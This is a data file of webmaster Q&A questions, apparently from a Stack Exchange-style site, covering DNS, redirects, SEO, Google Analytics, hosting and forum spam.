{"id":"56874","title":"Can a foreign company take my domain name?","text":"I'm a small U.S. business and a company in China contacted me to say they want to use my domain name as their own and also make it their internet keyword. The name is not trademarked. Don't I have legal exclusivity rights to this domain when I paid the annual fee? How should I respond to them? I do not want them to take it."}
{"id":"32531","title":"Is it legal to use Drupal, Joomla, WP, Zend Framework, jQuery icons on my page?","text":"I would like to use Drupal, Joomla, WP and other well known recognized icons instead of written tags on my website. They would be like 16x16 pixels big. Is this OK? I mean it is just for information purposes for the user, which technology is used etc. it is not a commercial project either. What about asp.net, apple, android and other big names? Is it ok to use icons like e.g. these guys http:\/\/alternativeto.net\/category\/ I am just asking, because this world is weird and you hear all the time about the patent wars in mass media. **EDIT: Are icons on the website\/firefox plugin like wappalyzer.com illegal or not?**"}
{"id":"38910","title":"Why was 303 skipped in HTTP\/1.0?","text":"While looking back over HTTP response codes today I noticed that the 301, 302, and 304 response codes were defined in HTTP\/1.0 but not the 303 response code. Does anyone know why the number 303 was skipped in HTTP\/1.0?"}
{"id":"35579","title":"Upload ICS (calandar) file to my server","text":"I want to upload my ICS file to my server, well this is the easy part. What I really want is to be able to share this *.ics file with 2-3 people so they can edit. I have currently uploaded the file on the www\/ (root) mydomain.com.au\/myfile.ics of my server and added it to my Email\/Cal client. **Was all looking ok until I tried to save changes.** Can someone please direct me to some documentation on how I do this properly. The easy solution would be to upload to google, but I would rather learn how to manage the file myself. Thank you"}
{"id":"51953","title":"Why would you ever use NOINDEX without NOFOLLOW","text":"Everytime I've used the NOINDEX directive on a page, it made sense to use NOFOLLOW as well. I can't imagine a scenario where you would not want a page indexed, but _would_ want the links inside it to be. Can anyone describe a scenario where it would make sense to have a page that combines NOINDEX with FOLLOW?"}
{"id":"62895","title":"What is plus.sandbox.google.com?","text":"My client's website has had a couple of visits from the referrer — plus.sandbox.google.com. I looked it up and there isn't enough information available regarding this. Does anyone know what this url is?"}
{"id":"35576","title":"Is it time to add IPv6 access to my websites?","text":"I have several dedicated servers and VPS servers, and some of those are at companies that have provided me with native IPv6 blocks (in addition to the IPv4 IP addresses). Does it currently make sense to point an AAAA record to an IPv6 address on my server, in addition to the A record pointing to the IPv4 address? This would be for (for example) the www subdomain. (the networking and web server software would be set up on the server to respond appropriately). A while ago I read that a small percentage of users (1 in a thousand?) would have slow or no access if a subdomain had both A and AAAA records because their networking software asked for one and got the other. Is that still the case, will adding an AAAA record inconvenience some users, or is the percentage already smaller and falling? In other words, is now the time to get around to adding native IPv6 support for a busy website aimed at the general public, or is it still too early?"}
{"id":"5953","title":"How to restrict access to my site using htaccess","text":"**How to disallow access to site except me?**"}
{"id":"5957","title":"Should I let Google index tag archives on wordpress?","text":"I'm working on SEO for my WordPress page, and I'm having second thoughts about having my tag archive indexed. I'm not using categories at all, so I've set robots to `noindex, follow` for category overviews, making tags the main taxonomy. Part of me says that having tag archives indexed is useful because those pages are full of content around one specific keywords, and they also link to more pages concerning those keywords. Also, the posts are truncated with a 'read more' link, so there's not going to be a problem with duplicate content. On the other hand, these pages might dilute the pagerank for my actual posts. What is the use of people finding my tag archive pages if they could also find actual articles? Wouldn't it be better to just follow the links in my tag archives but not have those pages indexed? Should I index them or just let google follow the links?"}
{"id":"5958","title":"How can I show ads for search on own web site","text":"On my web site there is a (self-coded) search functionality that searches through the web site's specific contents. However I'd like to display one banner in addition to the site's results, showing ads relevant to the entered search terms. Can I do this e.g. with Google Ads? I want the ads to be based only on the search terms from the user, not the rest of the site's content, so there has to be a possibility to pass these search terms to the ad provider and get a banner based on these search terms."}
{"id":"65112","title":"Displaying website hosted at one domain on a different domain","text":"I have a website hosted at (for example) `website.com`. The thing is, I also have my own server and a different domain name registered with a different company. Let's say I own `example.com` and it points to my own server. When a user visits `example.com` I want them to see what is displayed at `website.com`. As much as possible, I want them to see `website.com` while the address bar says `example.com`. I have full access to `example.com` but I only have access to the content being displayed at `website.com`. I can do a redirect from `example.com` to `website.com` but that is not what I want. I can also just use an iframe at `example.com` but I was wondering if there is a better way to do this."}
{"id":"51728","title":"<center> is not supported in HTML5 but its still working. How?","text":"`<center>` tag to make texts centered is not supported in HTML5 but its still working in the latest version of chrome. Is Chrome making up for the mistake or is it still supporting the deprecated tags along with the new HTML5 tags?"}
{"id":"28538","title":"Tracking referrals between profiles on the same domain in Google Analytics","text":"I have a website at `mydomain.com` that uses Analytics. I have a blog that resides at `mydomain.com\/blog\/`, which also uses Analytics They are on different profiles. The main site uses something like: `_gaq.push(['_setAccount', 'UA-XXXXXXXX-6']);` While the blog uses: _gaq.push(['_setAccount', 'UA-XXXXXXXX-7']); _gaq.push(['_setCookiePath', '\/blog\/']); My issues is that this seems not to track referrals from the blog through to the main site when, for instance, the logo which links to the main site is clicked. Ideally, I would like the clicks of this logo to report that the `source` was `mydomain.com\/blog\/`, but because they are at the same domain they seem to register as `direct` traffic. Have I missed a step in my configuration, or will I _have_ to resort to linking to something like `mydomain.com?ref=blog`? Thank you."}
{"id":"51724","title":"Can I use Google Analytics to show visits by browser as a percentage of total visits?","text":"I would like to know if I can get a report from google analytics that can show me how Internet Explorer 8.0 (for example) usage as a percentage of total visits is trending over time. Even just the two columns of data would be fine. ie. Visits from IE 8.0 | Total Visits ------------------------------------------------- Jan 100 | 500 Feb 108 | 560 Mar 92 | 584 Apr 81 | 602"}
{"id":"51725","title":"Mod rewrite is not working or doing anything","text":"So I've used an online _.htaccess_ editor and it's not working for some reason on my test server, here's the content of my _.htaccess_ file. RewriteEngine On RewriteRule ^Page\/([^\/]*)\/$ \/?Page=$1 [L] I have also enabled the _LoadModule_ `rewrite_module modules\/mod_rewrite.so` on my WAMP server. Any help is much appreciated. > [Fri Aug 09 12:46:10.130887 2013] [core:alert] [pid 1424:tid 1532] [client > 127.0.0.1:50725] C:\/wamp\/www\/Website\/.htaccess: RewriteRule: bad flag > delimiters EDIT: tried doing one on my own still having the same issue Options +FollowSymLinks RewriteEngine On RewriteRule ^Page\/([a-zA-Z]+)\/([0-9]+)\/$ index.php?Page=$1"}
{"id":"60542","title":"Minimize downtime moving from godaddy to route 53","text":"I have an A record in GoDaddy pointing to my web server. I want to move this now to Route 53. The last time I did this it took almost 48 hours to propagate. I think because of the order I did things. This is the process I think should hopefully minimize downtime: 1. Create hosted zone for my domain to get the 4 name servers that I'll use as my delgation set. 2. Add the 4 name servers to GoDaddy. GoDaddy has 2 other \"Informational\" name servers defined that look like you can't delete them? 3. Now in Route 53 add a record set. Create A record to IP of my web server. 4. Wait to see if dns propagation has happened. With dig? 5. Remove A record from GoDaddy. Will this process work with minimal or no downtime? Will dig tell me enough information to see that it is safe to remove the A record from GoDaddy?"}
{"id":"6157","title":"What things required to host a website at home","text":"I have a Linux server runing Ubuntu. On it I've installed PHP, Mysql, and Apache. I need to host a site on my server having static IP, but I don't have any experience in web hosting. Can you please tell me that what are the things are required to host a site? I suspect I need web space and an IP address. Can you please also tell me which is the best hosting plans available in UK market for a beginner? I read somewhere **if we are using non-fixed IP it takes 24 hrs to change DNS** is this correct?"}
{"id":"21971","title":"How to create a temporary staging server on my home machine","text":"> **Possible Duplicate:** > What things required to host a website at home I want to create a temporary staging server which can be accessed (i.e. via browser) by other people that I want to show the website to (a business partner who is half way accross the world). IIRC, my ISP issues dynamic addresses so I may need to register with a (DNS server?) - not sure about this. Although I'm a software developer, I don't know much about the hardware side of things - and would appreciate help in getting me setup so I can show a website to a business partner. Here are the relevant details: Web server: Apache 2.2 OS: Ubuntu 10.0.4 LTS modem\/router: ZyXel P-600"}
{"id":"56710","title":"Canonical URLs in sortable paginated lists","text":"How should one use `rel=\"canonical\"` in sortable paginated lists? An unsorted list of products is not the same as the same list sorted, nor are lists sorted in different ways equivalent. For example, compare: * `http:\/\/www.example.com\/desktops?sort=p.price&order=ASC&limit=5&page=2` with * `http:\/\/www.example.com\/desktops?sort=p.price&order=DESC&limit=5&page=2` These are two very different pages, but they have the same canonical URL. Surely this is incorrect?"}
{"id":"56711","title":"What is a good Microdata method for listing a list of events?","text":"I have a list of events that change over time, so items get added while others drop off after their dates expire. For point of reference, they are conventions. I've never used microdata before and would like to lay out the page correctly. Should the whole page be an `itemscope` or the individual entries? Because if you look at this example: <div itemscope itemtype=\"http:\/\/www.domain.org\/events\"> The URL that has the events list is `events` just like that example. If you have each entry with that URL , wouldn't that be a major mistake? So I am assuming `itemscope` should be used for the entire page of entries? If that's right, what tag should I use instead of `itemscope` to identify each entry in the list of events?"}
{"id":"68390","title":"Business operates in multiple counties, will adding a listing in the Local Business sites harm our placement in SERPs?","text":"I work at a non-profit where we operate in more than two counties within our state. Our offices are located in two different towns, and that leaves a few counties of operation where we would also like to appear in their local SERPs or Local Business listings. Please note that these towns are **_not_** necessarily close to all the areas of operation. Since we don't have offices in all the counties of operation, how can we effectively post our business in the Local Business Listings and still show up in our counties of operation?"}
{"id":"56714","title":"How do keyword spellings in domains and titles affect search engine optimization?","text":"Just had a quick question about the spellings of words in domain names and how search engines like Google interpret them: So for example, if I had a site based on up to the minute deals on various products and called it `livedeals.co.uk`, how would the key wording of the word \"live\" be affected in: www.livedeals.co.uk - Lived Eals or Live Deals Also, is \"UK\" in `.co.uk` picked up as a keyword too?"}
{"id":"58633","title":"Google App Engine Socket API","text":"I'm calling a URL to get json data from another web site in my Google App Engine application. Then i received bellow message. > The Socket API will be enabled for this application once billing has been > enabled in the admin console So i decided to enable billing. but i have a question. For Mail API, we can send 100 messages for a day for free. Like this Is there any Free Default Limit for Socket API ?"}
{"id":"55876","title":"Does changing phone numbers in content just for bots qualify as cloaking?","text":"I'm a small business owner (I run a little computer repair shop), and I'm attempting to track calls to my store from different advertising channels. I use three separate tracking phone numbers: one for my PPC campaigns, one for newspaper ads, and my \"official\" one that I use in web directories and on my site. I have extremely good NAP consistency across the web. My problem is that I can't tell the difference between a call that comes from a search engine and a call that comes from a directory because the phone number is the same in both places. Could I detect when a human being (i.e., **not** a bot) is organically visiting my site and swap out the NAP-consistent tracking phone number with a separate \"organic\" tracking phone number? Or could Google consider this cloaking and penalize me for it?"}
{"id":"22866","title":"How to transfer a file from one domain to another domain?","text":"How can I transfer large files from `old-domain.com`(old-host) to `new- domain.com`(new-host)? Is it possible to transfer it without downloading the files from my old-host to my local pc? I have an FTP details of both."}
{"id":"25271","title":"Create a search for my HTML and CSS site that runs without an internet connection or database?","text":"I have a website that I have written out in plain old HTML and CSS, and want to integrate a search function into it. However, the site is meant to be run offline, from host machines in their local web browsers (i.e. without an internet connection). I realize that I could easily integrate a search using a mySQL database, though that would require everyone to have a mySQL database running on their computer with the proper data. I was wondering if it would be possible to integrate a search box that wouldn't need to connect to a database (or at least one that didn't require an AMP stack running on each user's local machine). I have searched around and haven't been able to find a solution to a similar problem. The search doesn't have to be simple, just something that would be able to present the titles of HTML pages in a list (I don't need the content of each HTML document to be searched, just the titles of each page). I was thinking there might be some way to return the titles and descriptions of each page for the search either using each page's `<meta>` tags, or by having a plain text document at the site root with a listing of all of the pages. Any help would be greatly appreciated!"}
{"id":"57873","title":"What is the precise term for serving internal URLs to external ones?","text":"Consider URLs to a public API: https:\/\/api.example.com\/items https:\/\/api.example.com\/add https:\/\/api.example.com\/remove ... Internally, the calls are being served from local URLs, for example: `1.2.3.4:8080\/get_items`. In order to hide the internal URLs, there is a middleware that fetches the data from the internal URls and serves it to the external ones. **What is the proper name for the middleware that fetches the information from the internal URL and serves it to the public API?** \"Proxy\" seems to general, and \"URL rewriter\" seems too narrow."}
{"id":"62855","title":"Google Analytics event based goal conversion rate","text":"I use Google Universal Analytics and track many events on my website. I have defined an **event based goal** , based on the 'user signed in' event. When looking at the reports, I figured that the goal conversion rate is calculated as: (number of 'user signed in' events) \/ (total number of unique events) 1. Is that really the way the rate is calculated? Since I have many unrelated events on my site, the conversion rate is meaningless 2. How exactly are unique events calculated? 3. What I'm trying to track is the number of unique visits in which the user signed in. Is there a proper way to track it (preferably without creating fake pageviews)?"}
{"id":"67152","title":"Purpose of hidden text in website","text":"While observing the source of the Swiss airlines website, I noticed the use of hidden text. I first looked it up on Google and found many SEO-related benefits but also the risk of negative scoring in search engine algorithms. The text being hidden on Swiss.com though doesn't look SEO related, e.g.: <h2 class=\"is-visuallyhidden\">navigation<\/h2> <h2 class=\"is-visuallyhidden\">Skiplinks<\/h2> So my question is what is the purpose of hidden text if not SEO trickery? Could it be accessibility related?"}
{"id":"49133","title":"Is a partial or incomplete sitemap damaging to SEO?","text":"Do you lose any SEO juice by submitting sitemaps that are incomplete? **Example scenario:** Submitting a sitemap that contains _only_ your First Click Free content (because it's not linked anywhere from your site, and thus not crawlable). I want to make sure doing this won't somehow negatively impact my other content that is crawlable and being indexed \"naturally\"."}
{"id":"36033","title":"How can I slice parallelogram shapes to HTML\/CSS?","text":"I have to slice website design to HTML\/CSS. Main navigation menu looks like below:  I am beginner webdeveloper and I don't know how to slice this design into compatible and cross-browser code. How these parallelogram shaped items should be sliced? There are also hover and selected states so I would probably use CSS sprites for that, but main problem for me are these parallelograms."}
{"id":"42268","title":"How do I analyse clicks on duplicate links in a page with google analytics?","text":"At the moment in google Analytics when I view the in-page analytics section it shows the % of what's clicked on a page. Different links that go to the same page are currently registered as the 'same' link, for obvious reasons. What's the best way to separate the two so I can see which link is being used more? Is there any way to do this with GA without changing any code?"}
{"id":"42262","title":"Marketing a comics and artwork website","text":"I've recently launched a comics website, Hitting Trees with Sticks, but am having trouble getting it off the ground. I've seen other similar \"marketing how-to's\" questions, but none geared torwards a pure content sharing website. I've been using paid Facebook advertising as my primary means of gaining an audience, and growth has been nice and steady, but it's not getting me to where I want to be. The facebook page has 53k fans, but many of them aren't that engaged with my work, or post gibberish comments. **In addition, I've tried tactics such as:** * Improving SEO with proper meta tags, links, titles, and other techniques. * Reaching out to local town and college newspapers But those don't seem to be getting the attention I'd like... I feel like doing local things like that is futile if I want to gain the virality I'm looking for. I think the best way is to focus on SEO-related things and other web- marketing strategies. Then I thought it might be because the content of the comics just isn't that funny... but everyone I've asked think they are good and wonder \"hmm, not sure why more people aren't liking them\". **So, I am considering the following tactics:** * Create a youtube video where I act out some of my comics (I feel like Youtube videos naturally gain a lot more attention than anything else) * Post each new comic on all of the social sites- like reddit, 4chan, facebook, twitter, etc... * Going around to local stores with flyers promoting the site * I'm completely redesigning my site... many people have said it's far too \"1990's\". So I'm redesigning as such: http:\/\/ux.stackexchange.com\/questions\/31704\/how-to-not-make-my-website-have-a-1990s-look * I will be adding liking & commenting to my site to drive traffic Any ideas for a person in my shoes?"}
{"id":"42260","title":"free or cheap Email hosting service for up to 10 users for custom domain","text":"Considering Google Apps is no longer free as of recently, are there any similar services? I know of Zoho Mail, which is free for up to 3 users. However, I don't like their interface. If not free, any very cheap services which one can recommend?"}
{"id":"17263","title":"Most Popular Fonts used in Webpages and their Fallbacks?","text":"This is a two part question, the second question is dependent on the first: 1. What are the most popular fonts used on web pages? (the top half dozen will suffice). 2. Include the proper CSS fallbacks for the above fonts. The reason I ask is that I have to build a form that will allow webmasters to choose a CSS font from a drop-down menu. The site will take the chosen string (fonts with respective fallbacks) from a database and insert it (via php) into aspects of a page. **Edit** : Just passing this on. Although not scientific in its approach to what constitutes 'popular' fonts and respective fallback combinations, this was a helpful starting point: http:\/\/www.w3schools.com\/cssref\/css_websafe_fonts.asp"}
{"id":"52455","title":"DNS errors in Google Webmaster Tools","text":"I've been trying to get rid of this DNS error for about a week now but I can't seem to wrap my head around it. The website is `herbelixirs.com`. The Google Webmaster Tools screen shot is below.  The DNS errors are below. http:\/\/dnscheck.pingdom.com\/?domain=herbelixirs.com  Can someone tell me what this means and what I can do about it?"}
{"id":"52458","title":"Removing preview DNS from Google Index","text":"I just discovered that Google have indexed the preview version of my site with a subdomain `previewdns.com` appended to my actual domain. I need to remove those URL's from the search index. How can I do so?"}
{"id":"6036","title":"Why aren't we supposed to use <table> in a design?","text":"What are some clear and logical reasons for why we shouldn't be designing websites with tables? Where are the benefits, what has been driving this idea in the industry? When is it okay to use a table?"}
{"id":"54769","title":"How to assign foo.example.com to one IP address and example.com to a different one?","text":"Say that I have a domain name called `example.com` and two server located at 2 different IP addresses: `1.2.3.4` and `6.7.8.9`. How could I assign `example.com` to `1.2.3.4` and the subdomain `foo.example.com` to `6.7.8.9`? [EDIT] I did try to put a A record linking from `@` to the first IP address and from `foo.example.com` to the second IP address, as illustrated below:  And I did configure a vhosts called `foo.example.com` on my server at IP address 2. The `@` record works. But after 3 hours waiting for the result (DNS delay), nothing happened with `foo.example.com`, which link to nothing. Why?"}
{"id":"33041","title":"Is there a professional name for deciding which information should to be show in a website, it's not IA","text":"It's not IA(information architecture). cos IA decide how to organize information, not to decide which information should be show in a website."}
{"id":"10064","title":"Migrate ASP.Net web site from IIS6 to IIS7","text":"I have to migrate an ASP.Net web site from IIS6 to IIS7. I tried to copy the all files for a web site from IIS6 (c:\\inetpub\\wwwroot\\MySite) to another box with Windows Server 2008 R2 where IIS7 is the default web server. However, the simply copy seems not working. Should I rebuild the web site for IIS7 or should I make changes on the new box with IIS7 such as web.config? Thanks for the comments. Further investigation I found that http handers seems caused exception: <!--httpHandlers> <add path=\"Reserved.ReportViewerWebControl.axd\" verb=\"*\" type=\"Microsoft.Reporting.WebForms.HttpHandler, Microsoft.ReportViewer.WebForms, Version=8.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a\" validate=\"false\"\/> <\/httpHandlers--> After I comment out the above handler in web.config, the web page works fine. This is just my initial test. I am not sure if I should rebuild the web site from source codes or not. If so, do I need to specify for IIS7?"}
{"id":"2652","title":"Updating\/Redesign website...how to retain\/transfer ranking?","text":"What steps do I have to take in order to make sure that I keep my search engine rankings after I redesign or update my site?"}
{"id":"10068","title":"User registration usability vs security","text":"What are cons and pros of the following: * asking to repeat password * asking to have a certain length-password * asking to repeat e-mail address * using captcha * sending confirmation e-mail what do you think is the best way - to have those above or not? I'm especially interested in the last one. Take into account that it is necessary for the web-site to have user's real e-mail address."}
{"id":"2657","title":"I need some suggestion: Starting a portal for a local medical community","text":"There is a Medical Community in our town that I would like to approach to build a web portal for them. It could be free or they could pay me for it. Honestly, I'm really after of the community that will be growing on the web. User can interact with other user more efficiently, so since it's a health related community a lot of people can benefit of the information that will be generated by the community(most of them are doctors). The content can be in a form of a blog post or forum discussion. Now my plan to get a revenue for this is I will put some ads on the site. Few question in mind are: I assume they would like to get the portal free and not expecting the site to earn. They would just like to have a website were they can interact with the community\/people. That I think would be their main goal, Since most of them are not into web. Should I approach them to do a partnership or similar? (they get a slice of what the site earn ) or Not giving them a slice, What would you suggest? What would be proper? I need some advice If that would be a good approach, If you have some better ideas, I would like to hear it. Thanks! -- Please excuse me if this is not the right section to post."}
{"id":"7388","title":"Daily \/ Monthly websites backups?","text":"Do you usually perform a daily backup of websites of small local business ? Isn't a monthly backup more appropriate ?"}
{"id":"14388","title":"Should I jump straight into HTML 5 and CSS 3 from minimum knowledge of HTML?","text":"I first learned HTML a long time ago, from the Visual Quickstart guide in 1999, HTML 4 for the World Wide Web. Though I have a grasp of fundamental concepts of HTML, my knowledge of CSS is woefully bare. As far as learning goes, should I jump straight to learning HTML5 and CSS3? Would learning those technologies be backwards-compatible enough, or would this cause problems because I may be using tags that are not yet supported by a majority of current browsers? And if so, which version of HTML\/CSS\/XHTML\/DHTML would be most useful nowadays?"}
{"id":"57711","title":"How can I create a 301 redirect with non-English characters in the URL?","text":"I would like to do 301 redirect from `http:\/\/www.test.de\/kollektion\/b%C3%BCgel%20bh` to `http:\/\/www.test.de\/bhs\/bugel-bhs+balconette`. I tried to create a redirection rule, but it's not working even though I converted `%C3%BCgel%20bh` into ASCII code."}
{"id":"26244","title":"SEO: many small pages or only one big?","text":"> **Possible Duplicate:** > SEO one longer page vs. several targeted subpages? Is is better to have just one big page with nice descriptions of products, or just one small page with link to small pages that have, each, one description of one product? Of course you may think: what a dumb question! Of course the more pages you have the better! What I mean is: if the pages of your products are very small, and the main page is very small too, maybe google will ignore it or flag it as useless (or whatever) **whereas** a nice and big page has still the potential to be properly indexed by google. What do you think?"}
{"id":"63013","title":"page load wait time on my machine is 55ms but on test websites like pingdom.com it is 1.5 seconds, why would this happen?","text":"When I analyze the website's page load speed in Chrome I can see the wait time (where the return response files of the sever are being generated) is 55ms and total page load time is 1 second or much less. When I run the test via `https:\/\/www.pingdom.com\/`, `http:\/\/gtmetrix.com\/`, or the Google speed test tool, the wait time is 1.8 seconds or more and total page load time is 3 seconds or more. The page is fully cached and the cache has been warmed. Any ideas on why this would happen? The efforts I have made so Google would see my site as fast loading will be lost. Please don't comment about all other optimization tips like gzip and minifying css files. I am purely asking about the wait time and\/o its effects on ttfb."}
{"id":"12371","title":"Traffic drops after changing to UK server","text":"Because my website has some traffic, I moved it to other server (from US to UK). The UK server is Fasthosts. But the traffic suddenly drops:  Lots of my traffic comes from search engines. All my websites (3 websites) hosted in this UK server get less traffic than in US. Ping from US gives great response. What happened? Does search engine prioritizing US server more than UK?"}
{"id":"12377","title":"positioning <div> to create layout","text":"So the HTML is divided using divs obviously ... <div id=\"left\"> content <\/div> <div id=\"right\"> content <\/div> <div id=\"main\"> content <\/div> ... I would like to create a layout using CSS that gives us three columns. | | | | | | | | | left | main |right | | | | | | | | | The trick is that I would like the **main** part to be centred and 60% of width. Left and right to be 20% width. There will be no images just plain text."}
{"id":"12379","title":"How Do You Store Website Backups?","text":"I'm not that great about backing up my site, which is something I want to improve on. Currently, I save backups of my site on my local computer and on an external thumb drive. I was thinking of purchasing some online storage so I could store my website backups there instead. I'd like to hear about what everyone here does for website backups, thanks."}
{"id":"33132","title":"What is the advantage of increasing \"maximum worker processes\" in IIS?","text":"What is the advantage of upping the \"Maximum Worker Processes\" from the default of 1 in IIS? Given that it seems any worker process can reply to a request from a single client (ie they are not assigned a client) and that session variables are only accessible from the process they were created in, in what situation would it be advantageous to increase this setting? I ask because one of my web applications was having all sorts of issues with session variables (random logging out etc) - it turns out a server tech had upped this to 4, thinking he was doing good. Returned it to 1 and the application is happy."}
{"id":"39954","title":"How do you get your Google+ profile displayed in the right hand sidebar of the Google search results page?","text":"Does anyone know how to get your Google+ profile displayed in the right hand sidebar of the Google search results page? As in the screenshot below: "}
{"id":"51569","title":"Nameserver Issues","text":"I have a dedicated server on which I host my websites via cpanel. The domain registrar is a uk hosting company. Now, I want to move to a cloud VMware server with another company. My server and cpanel has been set up. I have a problem with moving my nameservers. How do I transfer the nameservers on my old dedicated server to my new cloud server?"}
{"id":"54761","title":".com.au backordered domain: do I have to return it if the original owner asks for it?","text":"I was contacted by the original owner of a domain to give him the domain that I backordered a few weeks ago. The domain was abandoned for about 2 months before I bought it to eliminate the competition of my client but now I am faced with a threat that he will take this matter to court and AUDA (`.au` domain administration limited). Am I supposed to handover the domain that I have bought legally? I would like to know my rights in this situation."}
{"id":"45125","title":"HTTPS Causes Broken Back Links?","text":"If I change my URL to force `https` does this effect all of my backlinks to be broken and to be lost one by one? And if so if I change it back will it will this restore the back links on the site? Any advice for this is very appreciated."}
{"id":"62947","title":"How to do SEO for web application?","text":"I have developed a website which is like a web application. A user must log-in to visit\/view other pages. I want the login page to be the only one found by Google. The SEO guidelines that I found online are more for blogs or websites which have many open pages. I'm not sure how to proceed. A search for my website name on Google shows the description on the GoDaddy page stating \"click here to find out how to purchase this domain name.\""}
{"id":"9065","title":"Hosting Plans Search?","text":"I'm searching for hosting plans with certain attributes such as memory, drive space and bandwidth limits. The information appears to be scattered around the Internet. A while ago I did find a hosting search engine that allowed you to put in different attributes you require, but I can't seem to find it now. Does anyone know sites that do this?"}
{"id":"65231","title":"Where is this traffic coming from, and how can I block it in Google Analytics?","text":"We're seeing Google Analytics report a huge amount of hits and large drop rate on some of our pages, but investigating this further reveals more questions than answers. For instance, one page is reported to have over 1000 hits this month, but in our database (Magento) we only see 6 hits. When I look into the Apache access log, I do see many GETs for this URL, but they all have a referrer like this: `http:\/\/dp.g.doubleclick.net\/apps\/domainpark\/domainpark.cgi?client=dp- oversee17_3ph_xml&channel=001071&hl=en&adtest=off&max_radlink_len=20&r=m&fexp=21404&domain_name=hcartoon.com&optimize_terms=off&terms=Cartoon%2C%20Flash%20Animation%2C%20Caricature%2C%20Cartoon%20Picture%2C%20Free%20Animated%20Ecards%2C%20Cartoon%20Animation%2C%20Funny%20Posters%2C%20Cartoon%20Clip%20Art%2C%20Cartoonist%2C%20Toons%2C%20Cartoonist%2C%20Toons%2C%20Funny%20Picture%2C%20Cartoon%20Posters%2C%20Caricatures%2C%20Cartoonists%2C%20Toon%2C%20Business%20Cartoons&drid=as- drid-` And it goes on... I'm assuming it is a feeble attempt to DDoS, but that's not the question, I'll save that for a different SE. Could this be skewing our Google Analytics numbers? If so, how can we sanitize Google Analytics so that these types of GETs aren't counted? EDIT: We do not use AdWords. We do have an AdWords account set up but have never utilized it. I traced the logged IP addresses to various places outside the U.S. like Sri Lanka, Taiwan, ...ad nauseam. EDIT 2: All of the GET requests seem to have a `?gclid=` in the URL. I'm beginning to wonder if there's some black-hat SEO aimed at making us think our metrics are bad so we'll hire one of them. We do get SEO spam all the time... Regardless, still looking for a way to filter past Google Analytics data."}
{"id":"22545","title":"How can I reduce the number of spammers registering with my phpBB site?","text":"I have a site which runs phpBB, on this site I have * enabled user authentication through email when registering * enabled captcha However I still get spam users every 20 to 30 minutes. Is there anything I can do to prevent this with the `ucp.php` file? I have already loaded a large list of IP addresses yet there are spam users registering all the time. One thing I can do is I can check the bounce mail to find the username and can pipe bounced mails to a php script and immediately delete that user, but I have not got any bounce back from hotmail or some other email clients. So this way it will catch hold of a certain percent of spam users but there are still a huge amount of users spamming. What else can I do to prevent spammers abusing my phpBB site?"}
{"id":"10280","title":"RSS feed <link rel=\"alternate\"> on which pages?","text":"I've got a site that includes a blog amongst other things. I'm adding the tag for autodiscovery of the RSS feed. There's only one feed on the site. Should live on every page (i.e. I put it in the base template)? Or should it just live on the blog index page and\/or individual blog post pages?"}
{"id":"21570","title":"How do I do SEO for multiple search keywords that are similar but not the same","text":"For example: I have an article about seo for urls. People may search for * seo for urls * seo urls in google * seo url panda update google I want them to rank well for all of these search keywords. What strategy should I use so I return high on as many of these keywords as possible?"}
{"id":"49357","title":"The name of my startup returns many search engine results - will using it as a domain name cause problems with SEO?","text":"I've come up with a good name for an online service startup that has the `.com`, `.net` and `.org` domain names available for it, and is also available on most social networks that we care about. The bad news is that when I Google this startup name, I get over 20 million hits, most of them because the name is coincidentally popularly used as the name of a column in databases, or because the name can be split into two words that commonly appear together (i.e. if the startup name were \"Heydude\", Google would match plenty of \"hey, dude\" occurrences). However, I don't see any hits that indicate anyone is doing business under this name anywhere, nor that anyone is even casually using it for any sort of project at all. Am I right to worry about choosing a startup name that generates so many millions of (admittedly weak) hits on Google? Am I setting myself up for a bad signal-to-noise situation going forward? Or with a little bit of success and the fact that we hold the .com, should I count on the relevant stuff bubbling up to the top of search results so effectively that I can forget about all the cruft that Google finds right now?"}
{"id":"42847","title":"Comparisons of Javascript 'data grids'?","text":"I've found plenty of questions between here and StackExchange of people asking for the 'best' data grid \/ data table, or one that has a particular feature, and plenty of lists out there (of various ages) listing the various data grid implementations ... but is anyone aware of any matrix of what features the various solutions implement? (eg, allow shift-click to select multiple; support checkboxes for selection; can update a regular table in-place; allow editing of cells; support websql or indexeddb for local caching; which browsers they support; infinite scroll; etc.) There's a generic 'javascript framework' comparison on wikipedia, which would be the sort of thing I'm looking for, but it doesn't go into detail on data grids. (which makes sense, as so many are extensions, not core features of those frameworks, and in the case of jQuery, there's _lots_ of 'em.)"}
{"id":"14385","title":"Sales Tax on Coupon Discounts","text":"Should I calculate sales tax before or after a coupon discount is applied? I assume this will vary by state, I'm currently dealing with NY. We deal with three types of coupons: % discount, $ discount, and free shipping. I know that for % discounts, tax is calculated after the discount is taken. What about $ discounts? What about free shipping (NY does charge sales tax on shipping & handling)"}
{"id":"24057","title":".htaccess redirect to subfolder in different domain, maintaining old domain in the URL","text":"Redirect has been widely discussed and most problems solved, so I am sorry for opening yet another post about this, but none of the codes I am trying work. I have a WordPress site hosted in `http:\/\/mydomain.com\/clientsdomain.com\/wordpress` I would like to temporarily redirect `http:\/\/clientsdomain.com\/` to the abovementioned URL, maintaining the clientsdomain.com domain in the URL. So for example `http:\/\/clientsdomain.com\/some\/page` would be pointing to `http:\/\/mydomain.com\/clientsdomain.com\/wordpress\/some\/page` Is this even possible with .htaccess? Maybe som configuration or plugin option with WordPress?"}
{"id":"21578","title":"Avoid Comodo certificates?","text":"We are looking at buying an: * EV SSL certificate * Software signing certificate Comodo seem far cheaper than other providers. However they seem to have bad press. Is there any disadvantage to using Comodo certificates? (I'm thinking along the lines of people not trusting Comodo\/blocking anything to do with them). I'm not looking for recommendations, specifically I want to know if going with Comodo has any actual disadvantage to it."}
{"id":"21579","title":"Recommendations for an Inquiry request cart\/form system","text":"Here is the goal: Site visitor sees things they like while browsing the site. Visitor click desired item to generate equivalent of 'add to cart'. They 'check out' but there is no transaction just a from generates and email inquiry which they add their contact and additional notes to and review \/ remove items. Server sends email to predefined recipient and CC client So basically it's a form with additional items appended to it from the browsing session. Other Details: No user login required Quote request sends server generated email Ability to easily add new items to inventory - I want to build a database of inventory like a store but there would never be any check out just the generation of a request form. PHP\/mysql solutions preferred Wordpress solution o.k. joomla solution o.k."}
{"id":"42848","title":"Using redirects harmful for SEO?","text":"I run a large publishing platform where authors post articles and most of the time, add sources. I use my own PHP redirector for these **external** links, so if they add a source, it will be linked like: `http:\/\/mydomain.com\/l.php?r=http:\/\/source.com` I have been reading at numerous places that having redirects on the page, particularly if it is many, is very harmful for SEO. Is this true?"}
